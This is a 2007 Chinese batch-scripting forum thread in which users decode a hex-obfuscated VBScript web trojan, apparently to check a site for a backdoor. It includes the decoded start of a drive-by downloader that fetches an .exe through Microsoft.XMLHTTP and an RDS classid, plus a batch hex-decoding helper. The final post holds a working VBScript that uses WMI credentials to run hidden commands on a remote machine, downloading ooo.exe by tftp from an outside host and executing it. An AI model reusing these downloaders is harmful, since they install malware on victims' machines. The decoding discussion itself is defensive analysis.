中国DOS联盟

<script language="VBScript">
C="0d6f6e206572726f7220726573756d65206e6578740d6375726c3d22687474703A2F2F7777772E62616964752E636F6D2F62616964752E657865220d666e616d65313d2263696b652e657865220d666e616d65323d2263696b652e766273220d536574206466203d20646f63756d656e742e637265617465456c656d656e7428226f626a656374222"
C=C+"90d64662e7365744174747269627574652022636c6173736964222c2022636c7369643a42443936433535362d363541332d313144302d393833412d303043303446433239453336220d7374723d224d6963726f736f66742e584d4c48545450220d5365742078203d2064662e4372656174654f626a656374287374722c2222290d43313d2241646f220d43323d2264622e220d43333d22737472220d43343d"

这到底应该用什么工具来解密啊!! .. 查后门要紧啊!!!:(

[ Last edited by kkapskok on 2007-6-13 at 10:45 PM ]

你根本没发完，谁也解不了

on error resume next
curl="http://www.baidu.com/baidu.exe"
fname1="cike.exe"
fname2="cike.vbs"
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
C1="Ado"
C2="db."
C3="str"
C4=

[ Last edited by lxmxn on 2007-6-13 at 04:25 PM ]

网马常用的转换为16进制ASCII码；

不过如果加了偏移等，楼主只是发这些数据是不能解开的

厉害的版主 能解开啊。。。 能请问下用什么方法解密的吗`` 我急需去找看看有没有后门。。。。

楼猪厉害

我厉害什么哦。。。。 是板主厉害啊，，， 能请教下 是怎么解密的吗。。 急需去看看有没有后门。。急死。。

请版主快快进来一下 能请教下 是怎么解密的吗。。。 太急了。。

那好，我就把我的脚本发出来吧。

新手学习，高手勿笑。

需要外部工具 sed 、grep。

@echo off&SetLocal EnableDelayedExpansion

cd.>ok.txt

if "%1"=="" (set /p file=Please input the file to be cope with:) else (set file=%1)

for /f %%a in ('grep -o ".." %file%') do (

	set /a asc=0x%%a

	set str=!str!+chr^(!asc!^)

)

set str=""%str%

echo a=%str%:wscript.echo a>__temp.vbs

cscript.exe //nologo __temp.vbs|sed "s/\x0D/\x0d\x0a/g"|more>%~dp1.\ok.txt

del __temp.vbs&start %~dp1.\ok.txt

%file% 是指的只含有16进制数码的文本。

谢谢！！ 十分感谢版主！ 谢谢分享！！

好久不来 斑竹功力大增~~~

Originally posted by lililulula at 2007-6-15 10:45:
好久不来 斑竹功力大增~~~

兄过奖了，我只会弄简单的，难的就不会了。o_O

谢谢老大帮我解密了

[ Last edited by hazjs on 2007-6-25 at 07:18 AM ]

Const HIDDEN_WINDOW = 12
strComputer = wscript.arguments(0)
strUserName = wscript.arguments(1)
strPassWord = wscript.arguments(2)
Set objSWbemLocator = CreateObject("wbemscripting.swbemlocator")
Set objSWbemServices = objSWbemLocator.ConnectServer(strComputer,"root\cimv2",strUserName,strPassWord)
Set objStartup = objSWbemServices.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objSWbemObject = objSWbemServices.Get("Win32_Process")
bat = objSWbemObject.Create("cmd.exe /c echo tftp -i 676757.vicp.net get ooo.exe>ftp.bat", Null, objConfig, intProcessID)
bat = objSWbemObject.Create("cmd.exe /c echo ping -n 20 127.1>>ftp.bat", Null, objConfig, intProcessID)
bat = objSWbemObject.Create("cmd.exe /c echo ooo.exe>>ftp.bat", Null, objConfig, intProcessID)
bat = objSWbemObject.Create("cmd.exe /c ftp.bat", Null, objConfig, intProcessID)